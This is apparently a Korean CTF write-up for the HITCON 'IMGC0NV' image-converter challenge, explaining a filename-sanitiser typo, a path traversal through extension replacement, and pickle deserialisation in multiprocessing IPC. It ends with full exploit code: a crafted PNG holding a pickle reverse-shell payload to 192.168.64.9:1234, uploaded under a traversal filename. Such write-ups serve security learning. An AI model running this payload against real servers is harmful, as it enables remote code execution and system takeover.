CTF & Wargame(CTF's)

HITCON - IMGC0NV(다시)

KWAKBUMJUN 2025. 10. 17. 07:23

HITCON - IMGC0NV

문제 파일을 열면 사용자가 원하는 파일을 업로드 하고 다른 포맷으로 바꿀 수 있는 기능이 있다. 그리고 포맷이 바뀐 파일은 zip 파일로 저정되어 사용자가 다운로드 할 수 있다.

소스코드를 열어보니까 아래와 같은 취약점이 바로 보였다.

def safe_filename(filename):
    filneame = filename.replace("/", "_").replace("..", "_")
    return filename

이렇게 safe_filename으로 파일 이름을 필터링하고 있지만 fileneame라고 오타가 있기 때문에 필터링이 하나도 적용되지 않는다.

그리고 다른 취약점이 하나 더 있었다.

def convert_image(args):
    file_data, filename, output_format, temp_dir = args
    try:
        with Image.open(io.BytesIO(file_data)) as img:
            if img.mode != "RGB":
                img = img.convert('RGB')

            filename = safe_filename(filename)
            orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None

            ext = output_format.lower()
            if orig_ext:
                out_name = filename.replace(orig_ext, ext, 1)
            else:
                out_name = f"{filename}.{ext}"

            output_path = os.path.join(temp_dir, out_name)

            with open(output_path, 'wb') as f:
                img.save(f, format=output_format)

            return output_path, out_name, None
    except Exception as e:
        return None, filename, str(e)

이 함수에서 확장자를 바꾸는 방법이 조금 수상하다.

orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None

out_name = filename.replace(orig_ext, ext, 1)

이 코드를 보면 rsplit 함수로 오른쪽에서부터 .을 기준으로 분리를 하고 있다. 그리고 out_name 변수에서 orig_ext를 ext로 한번 변환하고 있다.

예를 들자면, filename=”test.png” 라면 output_name은 test.jpg로 바뀐다.

일단 테스트를 해보기 위해 아래와 같이 burp에서 중간에 확장자를 py로 바꿔보았다.

그런데 위와 같이 에러가 발생한다. 그 뜻은 확장자 유효성 검사 로직이 있다는 뜻인데 코드를 아무리 찾아봐도 없다. 그래서 더 찾아보니까 PIL 라이브러리 자체에서 처리 가능한 포맷이 있다고 한다.

https://info-lab.tistory.com/362

위의 링크를 보면 PIL에서 지원하는 포맷 리스트가 있다. 아무튼 py로 변환이 되지 않는 이유는 PIL에서 지원하지 않기 때문인 것 같다.

 

다시 본론으로 넘어와서 위의 버그를 replace 로직을 통해 Path traversal이 발생한다. 하지만 방금 언급했듯 PIL에서 지원하지 않는 포맷이라면 LFI로 file을 leak하는 것이 불가하다. 그렇다면 방법은 RCE 밖에 없을 것 같다.

우리가 업로드한 파일은 웹 상에 존재하는 임의의 경로에 저장되기 때문에 어떤 경로가 존재하는지도 알아야 할 것 같다. 코드를 더 살펴보자.

코드를 조그 더 살펴보면

@app.before_request
def before_request():
    g.pool = Pool(processes=8)
    
@app.route('/convert', methods=['POST'])
def convert_images():
				''' 생략 ''' 
        results = list(g.pool.map(convert_image, file_data))
        ''' 생략 ''' 

위와 같은 코드가 있는 것을 확인할 수 있다. 저런 형식의 코드는 나에게 생소하기 때문에 구글링을 해보았다.

멀티프로세싱의 개념(https://mvje.tistory.com/207)

멀티프로세싱은 여러 개의 독립적인 프로세스를 생성하여 각각의 프로세스가 병렬로 작업하도록 하는 방식이다. 각 프로세스는 독립적인 메모리 공간을 가지며, 프로세스 간 통신(Inter-Process Communication, IPC) 매커니즘을 통해 데이터를 교환한다.

<multiprocessing.Pool>

위의 코드에서 사용한 multiprocessing.Pool 클래스는 여러 작업을 병렬로 실행할 수 있도록 해준다.

<pool.map>

pool.map 함수는 아래와 같이 사용할 수 있다.

pool.map(func, iterable, chunksize=None)

- func : 각 입력에 대해 실행할 함수
- iterable : 함수에 전달할 입력 데이터
- chunksize : 각 프로세스에 할당되는 데이터 묶음의 크기. 크기가 작을수록 작은 덩어리로 나누어지며,
이는 작은 작어들이 빠르게 완료될 때 유용하다.

문제 코드에서는 func에 convert_image 함수를 넘겨주고, iterable에는 file_data를 넘겨주고 있다.

그리고 IPC 통신을 하고 있고, process=8로 처리되고 있기 때문에 /proc/1~8/fd 라는 경로가 존재할 것이라고 예측할 수 있다.

그리고 유효한 파일 경로는 로컬에서 도커 파일 빌드하고 중간에 sgi, bmp가 들어가는 파일을 찾아본 결과 /usr/local/lib/python3.13/wsgiref 라는 경로가 있었다.

https://github.com/uqfoundation/multiprocess/blob/master/py3.13/multiprocess/connection.py

그리고 위의 소스코드를 확인해보면 pickle을 통해 IPC 통신을 하고 있다는 것을 알 수 있다. 따라서 아래와 같이 익스플로잇 코드를 작성하면 리버스쉘을 통한 RCE가 가능하다.

from PIL import Image, ImageDraw

CONV_URL = '<http://127.0.0.1:5000/convert>'

width, height = 65535, 159
img = Image.new('RGB', (width, height), 'black')

draw = ImageDraw.Draw(img)

draw.rectangle([(65504, 3), (65505, 3)], fill='#0000FF') # size=0xFFFF (0xFF x 2px)
# reverse shell
payload = b'cbuiltins\\nexec\\n(Vimport socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.64.9",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);\\ntR....'

for i, c in enumerate(payload):
    draw.rectangle([
        ((65506 + i) % width, 3 - (65506 + i) // width),
        ((65506 + i) % width, 3 - (65506 + i) // width)
    ], fill='#FFFF%02X' % (c))

img.save('pixel.png', 'PNG')

##### request #####

import requests

with open('pixel.png', 'rb') as f:
    fd = 10
    path = f'/proc/self/fd/{fd}'
    files = {
        'files': (f'/usr/local/lib/python3.13/w{path}ref/../../../../../../../../../../.{path}', f)
    }
    response = requests.post(CONV_URL, files=files, data={'format': 'SGI'})
    print(response.status_code)
    print(response.text)

 

'CTF & Wargame(CTF's)' 카테고리의 다른 글

Blackhat MEA 2025 write up  (0) 2025.12.13
SunshineCTF writeup  (0) 2025.10.17
CCE 예선 - Photo Editing(web) 라이트업  (0) 2025.10.17
WatCTF writeup(web)  (0) 2025.09.11
제 31회 해킹캠프 CTF write up  (0) 2025.09.10